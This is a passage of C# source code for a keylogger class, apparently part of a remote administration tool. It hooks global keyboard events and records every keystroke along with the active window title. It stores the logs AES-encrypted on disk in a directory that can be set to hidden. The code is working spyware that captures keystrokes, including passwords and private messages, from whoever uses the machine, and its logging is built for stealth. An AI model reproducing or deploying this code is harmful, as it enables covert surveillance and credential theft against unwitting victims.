();
///
/// Saves the last window title of an application.
///
private string _lastWindowTitle = string.Empty;
///
/// Determines if special keys should be ignored for processing, e.g. when a modifier key is pressed.
///
private bool _ignoreSpecialKeys;
///
/// Used to hook global mouse and keyboard events.
///
private readonly IKeyboardMouseEvents _mEvents;
///
/// Provides encryption and decryption methods to securely store log files.
///
private readonly Aes256 _aesInstance = new Aes256(Settings.ENCRYPTIONKEY);
///
/// The maximum size of a single log file.
///
private readonly long _maxLogFileSize;
///
/// Initializes a new instance of that provides keylogging functionality.
///
/// The interval to flush the buffer from memory to disk.
/// The maximum size of a single log file.
public Keylogger(double flushInterval, long maxLogFileSize)
{
_maxLogFileSize = maxLogFileSize;
_mEvents = Hook.GlobalEvents();
_timerFlush = new Timer { Interval = flushInterval };
_timerFlush.Elapsed += TimerElapsed;
}
///
/// Begins logging of keys.
///
public void Start()
{
Subscribe();
_timerFlush.Start();
}
///
/// Disposes used resources by this class.
///
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (IsDisposed)
return;
if (disposing)
{
Unsubscribe();
_timerFlush.Stop();
_timerFlush.Dispose();
_mEvents.Dispose();
WriteFile();
}
IsDisposed = true;
}
///
/// Subscribes to all key events.
///
private void Subscribe()
{
_mEvents.KeyDown += OnKeyDown;
_mEvents.KeyUp += OnKeyUp;
_mEvents.KeyPress += OnKeyPress;
}
///
/// Unsubscribes from all key events.
///
private void Unsubscribe()
{
_mEvents.KeyDown -= OnKeyDown;
_mEvents.KeyUp -= OnKeyUp;
_mEvents.KeyPress -= OnKeyPress;
}
///
/// Initial handling of the key down events and updates the window title.
///
/// The sender of the event.
/// The key event args, e.g. the keycode.
/// This event handler is called first.
private void OnKeyDown(object sender, KeyEventArgs e)
{
string activeWindowTitle = NativeMethodsHelper.GetForegroundWindowTitle();
if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle)
{
_lastWindowTitle = activeWindowTitle;
_logFileBuffer.Append(@"
["
+ HttpUtility.HtmlEncode(activeWindowTitle) + " - "
+ DateTime.UtcNow.ToString("t", DateTimeFormatInfo.InvariantInfo)
+ " UTC]
");
}
if (_pressedKeys.ContainsModifierKeys())
{
if (!_pressedKeys.Contains(e.KeyCode))
{
Debug.WriteLine("OnKeyDown: " + e.KeyCode);
_pressedKeys.Add(e.KeyCode);
return;
}
}
if (!e.KeyCode.IsExcludedKey())
{
// The key was not part of the keys that we wish to filter, so
// be sure to prevent a situation where multiple keys are pressed.
if (!_pressedKeys.Contains(e.KeyCode))
{
Debug.WriteLine("OnKeyDown: " + e.KeyCode);
_pressedKeys.Add(e.KeyCode);
}
}
}
///
/// Processes pressed keys and appends them to the . Processing of Unicode characters starts here.
///
/// The sender of the event.
/// The key press event args, especially the pressed KeyChar.
/// This event handler is called second.
private void OnKeyPress(object sender, KeyPressEventArgs e)
{
if (_pressedKeys.ContainsModifierKeys() && _pressedKeys.ContainsKeyChar(e.KeyChar))
return;
if ((!_pressedKeyChars.Contains(e.KeyChar) || !DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar))
{
var filtered = HttpUtility.HtmlEncode(e.KeyChar.ToString());
if (!string.IsNullOrEmpty(filtered))
{
Debug.WriteLine("OnKeyPress Output: " + filtered);
if (_pressedKeys.ContainsModifierKeys())
_ignoreSpecialKeys = true;
_pressedKeyChars.Add(e.KeyChar);
_logFileBuffer.Append(filtered);
}
}
}
///
/// Finishes processing of the keys.
///
/// The sender of the event.
/// The key event args.
/// This event handler is called third.
private void OnKeyUp(object sender, KeyEventArgs e)
{
_logFileBuffer.Append(HighlightSpecialKeys(_pressedKeys.ToArray()));
_pressedKeyChars.Clear();
}
///
/// Finds a held down key char in a given key char list.
///
/// The list of key chars.
/// The key char to search for.
/// True if the list contains the key char, else false.
private bool DetectKeyHolding(List list, char search)
{
return list.FindAll(s => s.Equals(search)).Count > 1;
}
///
/// Adds special highlighting in HTML to the special keys.
///
/// The input keys.
/// The highlighted special keys.
private string HighlightSpecialKeys(Keys[] keys)
{
if (keys.Length < 1) return string.Empty;
string[] names = new string[keys.Length];
for (int i = 0; i < keys.Length; i++)
{
if (!_ignoreSpecialKeys)
{
names[i] = keys[i].GetDisplayName();
Debug.WriteLine("HighlightSpecialKeys: " + keys[i] + " : " + names[i]);
}
else
{
names[i] = string.Empty;
_pressedKeys.Remove(keys[i]);
}
}
_ignoreSpecialKeys = false;
if (_pressedKeys.ContainsModifierKeys())
{
StringBuilder specialKeys = new StringBuilder();
int validSpecialKeys = 0;
for (int i = 0; i < names.Length; i++)
{
_pressedKeys.Remove(keys[i]);
if (string.IsNullOrEmpty(names[i])) continue;
specialKeys.AppendFormat((validSpecialKeys == 0) ? @"[{0}" : " + {0}", names[i]);
validSpecialKeys++;
}
// If there are items in the special keys string builder, give it an ending tag
if (validSpecialKeys > 0)
specialKeys.Append("]
");
Debug.WriteLineIf(specialKeys.Length > 0, "HighlightSpecialKeys Output: " + specialKeys.ToString());
return specialKeys.ToString();
}
StringBuilder normalKeys = new StringBuilder();
for (int i = 0; i < names.Length; i++)
{
_pressedKeys.Remove(keys[i]);
if (string.IsNullOrEmpty(names[i])) continue;
switch (names[i])
{
case "Return":
normalKeys.Append(@"[Enter]
");
break;
case "Escape":
normalKeys.Append(@"[Esc]
");
break;
default:
normalKeys.Append(@"[" + names[i] + "]
");
break;
}
}
Debug.WriteLineIf(normalKeys.Length > 0, "HighlightSpecialKeys Output: " + normalKeys.ToString());
return normalKeys.ToString();
}
private void TimerElapsed(object sender, System.Timers.ElapsedEventArgs e)
{
if (_logFileBuffer.Length > 0)
WriteFile();
}
///
/// Writes the logged keys from memory to disk.
///
private void WriteFile()
{
// TODO: Add some house-keeping and delete old log entries
bool writeHeader = false;
string filePath = Path.Combine(Settings.LOGSPATH, DateTime.UtcNow.ToString("yyyy-MM-dd"));
try
{
DirectoryInfo di = new DirectoryInfo(Settings.LOGSPATH);
if (!di.Exists)
di.Create();
if (Settings.HIDELOGDIRECTORY)
di.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
int i = 1;
while (File.Exists(filePath))
{
// Large log files take a very long time to read, decrypt and append new logs to,
// so create a new log file if the size of the previous one exceeds _maxLogFileSize.
long length = new FileInfo(filePath).Length;
if (length < _maxLogFileSize)
{
break;
}
// append a number to the file name
var newFileName = $"{Path.GetFileName(filePath)}_{i}";
filePath = Path.Combine(Settings.LOGSPATH, newFileName);
i++;
}
if (!File.Exists(filePath))
writeHeader = true;
StringBuilder logFile = new StringBuilder();
if (writeHeader)
{
logFile.Append(
"Log created on " +
DateTime.UtcNow.ToString("f", DateTimeFormatInfo.InvariantInfo) + " UTC
");
logFile.Append("");
_lastWindowTitle = string.Empty;
}
if (_logFileBuffer.Length > 0)
{
logFile.Append(_logFileBuffer);
}
FileHelper.WriteLogFile(filePath, logFile.ToString(), _aesInstance);
logFile.Clear();
}
catch
{
}
_logFileBuffer.Clear();
}
}
}